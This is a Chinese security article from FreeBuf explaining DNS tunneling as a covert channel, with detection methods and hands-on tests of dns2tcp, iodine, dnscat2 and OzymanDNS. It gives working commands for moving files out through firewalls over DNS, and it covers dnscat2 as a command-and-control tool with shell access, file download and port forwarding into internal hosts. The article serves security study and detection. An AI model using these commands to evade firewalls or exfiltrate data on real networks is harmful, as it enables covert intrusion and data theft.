DNS Tunneling及相关实现

2016-08-22 429634人围观 ,发现 19 个不明物体 工具网络安全

*本文原创作者:novsec,本文属FreeBuf原创奖励计划,未经许可禁止转载

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。

DNS概述

DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。

DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

DNS Tunneling原理简述

DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。

tunnel_relay.png

上图中,UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包经过上图的路径,最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)

关键技术

中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。

对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。

最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。

实现工具及检测

DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。

目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。

测试平台

我的测试平台直接部署在真实的网络环境中。

客户端: kali x64

服务端: vps (日本)

Local DNS: 谷歌(8.8.8.8),阿里(223.5.5.5),DNSPoD(119.29.29.29)

公网域名: xxx.xxx (以下用代替)

权威DNS Server配置

采用中继模式工作,所有工具的基础是需要配置一台权威DNS Server。如果没有公网域名可以从freedns注册三级域名,不过有的地区好像不可用。

注册完域名后,我们需要配置一个A记录和一个NS记录(也可以配置多个NS记录)。如

ns.domain.com IN A xxx.xxx.xxx.xxx

abc.domain.com IN NS ns.domain.com

详细的配置过程可以参考这个链接

Dns2tcp

dns2tcp 是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端,服务端运行在linux服务器上,客户端可以运行在linux和windows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。

dns2tcpd

-F     强制在在台运行,默认在后台
-i IP address
      监听ip,默认0.0.0.0
-f 配置文件
      指定使用的配置文件路径
-d debug level
      指定调试级别,输出相关级别日志,默认为1,2,3

dns2tcpc

-c             : 启用压缩
-z <domain>    : 指定所使用的域名
-d <1|2|3>    : 调试级别 (1, 2 or 3)
-r <resource>    : 访问的目标资源
-f <filename>    : 配置文件路径
-l <port|->    : 本地监听端口
-T <TXT|KEY>    : DNS请求类型,默认为TXT

配置文件

为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:

listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:    127.0.0.1:3128,nc:127.0.0.1:2222

其中resource这个参数稍作解释:

格式:<name>:<ip>:<port>

其中name为自定义标识,通常为本地开启的目标服务名称,ip如果是本机为127.0.0.1, 端口则为目标服务所监听的端口,或者说服务端通过该端口将流量转发给目标服务。例如希望在服务端和客户端用nc来进行对接传输文件,我可以自定义nc:127.0.0.1:2222。

在客户端不指定resource这个参数的时候,会列出对应server可以接受的资源。

示例

服务端

dns2tcpd -f /etc/dns2tcpd.conf -d 3
nc -l 2222 > test.txt

客户端

dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888
nc 127.0.0.1 8888 < test.txt

在服务端开启dns2tcp服务,强制在前台运行,并设置调试级别,从而能比较清楚的看到服务端的日志。同时使用nc 在2222端口开启监听,将数据重定向输出到test.txt文件。

客户端通过制定nc资源,所使用的域名,目标dns server的ip,以及指定本地的8888监听端口与dns server建立通信连接,同时也用nc访问本地8888端口,并用test.txt进行重定向输入。

通过在服务端和客户端使用nc进行双向对接,我们可以利用dns2tcp完成文件传输。

初步分析

通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现clent通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。

从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。

从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。

iodine

iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。

安装

官网上给出了安装方法,可以通过make &make install安装。另外,如果在centos 7上,我发现可以通过yum直接安装。而在kali中,也可以通过apt-get直接安装。

在iodine的测试过程中,我使用过3家公用dns,分别是阿里的dns-223.5.5.5,dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8。阿里dns在中继模式下无法指定NULL类型的查询请求,而DNSPOD和google可以,且同为国内dns,阿里的速度不如dnspod,这个因具体网络环境不同,国内两家dns在中继模式下传输3M文件,需手调参数,自动模式下很容易传输中途失败。而谷歌dns速度明显较国内两家快很多,自动模式下即可轻松完成传输。

参数说明

Server:

iodined  [options] <tunnel_ip> <topdomain>

tunnel_ip    :    指定server在TUN接口上的IP,客户端的TUN接口IP会和服务端在同一子网内
topdomain    :    用来构造域名的上级域,也就是我们ns记录中的指定域名

Options:

-D            :    指定调试级别,-DD指第二级,‘D’随等级增加

Client:

iodine [options] <topdomain>

Options:

-r         :    采用DNS中继模式传输数据
-M            :    指定上行主机名大小
-m         :    调节最大下行分片大小
-T         :    指定所使用的DNS请求类型,可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A
-O         :    指定数据编码规范
-L         :    是否使用懒惰模式,默认开启
-I         :    指定请求间的时间间隔

公用Options:

-f                 :    前台运行
-P password     :    指定一个password进行认证,如果不指定,后续会提示

使用示例

服务端:

iodined  -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234  < test.txt

客户端:

iodine -f -P 123pass <domain.com> -r

nc 192.168.99.1 1234 < test.txt

使用dnspod时,客户端指定某些参数以完成整个传输

iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0

特性分析

iodine支持直接转发和中继两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡。iodine支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型,并且支持EDNS,支持base32,base64,base128等多种编码规范。iodine在直连模式下,速度相当可观,我试过建立隧道后,用ssh做代理转发,可以流畅播放youtube 1080p,原理暂未分析。在中继模式下,使用谷歌的dns,也是Dns Tunneling工具中速度最快的。更多使用方法和功能特性请参考官方文档。

Dnscat2

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上,如果没有权威域名服务器,则可以采用直连模式。作者很坚持Dnscat2是一个命令与控制工具,并非像其他的DNS Tunneling工具一样可以用来摆脱web收费验证,免费上网。

安装

Dnscat2客户端基于C开发的,服务器端基于ruby开发。github官方主页上给出了详细的安装步骤及可能遇到的问题,请参考github Readme。

在测试过程中,我原本使用的DNS是dnspod的公用dns,但是发现包传输出错率较高,延迟大,可能由于我的vps在境外,所以改用google 8.8.8.8后,效果明显好转。可能因具体网络环境而异。

使用示例

服务端:

ruby ./dnscat2.rb <domain.com>

客户端:

./dnscat2 <domain.com>

服务端建立好后,可以用如下命令测试Client是否能和服务端成功建立通信。

./dnscat --ping <domain.com>

Dnscat2服务端的是交互模式,作者说采用这种设计是受metasploit和meteprete的启发。而服务端的使用方法也确实和metasploit和meteprete的使用方法类似,所以大家应该不难上手。

客户端和服务端建立通信后,就没有客户端什么事了,服务端此时处于交互模式下,作者为大家提供了很多windows来作为管理会话和连接的窗口,默认为主window,用windows可以查看目前有哪些window存在,每个连接都是一个独立的window,window -i 1进入1号window,此时可以用help命令还查看都有哪些功能,如下所示:

  • clear delay download echo exec listen ping shell

其中,shell可以建立到对应客户端的shell,download可以直接下载文件,不过需要注意的是download默认是将所有的数据先写入缓存,最后一次写入硬盘,所以在传输较大文件时,很长时间会发现没有文件产生。

端口转发

在window下有个listen的功能,它提供了端口转发的功能,可以通过它直接渗透内网。使用方法类似SSH -L。

listen [lhost]:[lport] [rhost]:[rport]

以上传文件为例:

客户端A:10.211.55.1
内网某机器B:10.211.55.2

服务端(DNS)C: 172.16.18.2

此时,A和C已经建立连接。

服务端C命令:

listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt

客户端A:

nc -l 1234 > test.txt

其他特性

Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密。可以提高传输的稳定性。

Dnscat2 还提供了多域名并发特性,可以将多个子域绑定在同一个NS下,然后在服务端同时接收多个客户端连接。不过,没有找到一个客户端连接利用多域名通信的方法,不知道作者有没有实现这个功能。

操作命令如下:

服务端

ruby dnscat2.rb  --dns=port=53532  --security=open
dnscat2> start --dns domain=<domain.com>,domain=<domain.com>

客户端:

./dncat <domain.com>

我试过 “./dncat –dns domain=,domain=”,想在一个客户端利用多域名通信,然而通过抓取流量分析,还是只用了一个域名。

Dnscat2 利用的DNS请求类型默认是TXT,CNAME,MX随机混合使用,可以在运行时通过参数自定义。

OzymanDNS

OzymanDNS是较早的一个工具,它基于perl开发,我只在作者博客上找到了一个0.1版本,它的主要功能就是结合ssh做文件传输。请求类型是TXT,用base32编码,响应用base64编码。

安装

OzymanDNS需要依赖其他的perl模块,所以安装的时候需要根据提示完成一些其他的依赖。

使用示例

服务端:

./nomde.pl -i 0.0.0.0 <domain.com>
nc -l 1234 > test.txt

客户端:

ssh -o ProxyCommand="./droute.pl  sshdns.domain.com" -L 7777:127.0.0.1:1234 -Nf user@host
nc 127.0.0.1 7777 < test.txt

客户端使用了SSH -L 的端口转发功能。

特性分析

在示例的文件传输过程中,每16k写入一次硬盘。Ozymandns的功能较单一,不如前几个那么稳健强大。而且年久失修,只能作为一个参考,我在测试过程中,始终无法顺利完成一个大于1M的文件传输。

总结

通过对四个工具的测试,Ozymandns是比较老旧了,功能单一,没有实用价值。Dns2tcp采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodine和Dnscat2则是目前的主流,Dnscat2提供了灵活的交互模式,而iodine则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及。

Ref:

  1. Detecting DNS Tunnels Using Character Frequency Analysis. Kenton Born,Dr. David Gustafson
  2. Domain Name System

*本文原创作者:novsec,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 19 条评论

取消
Loading...
css.php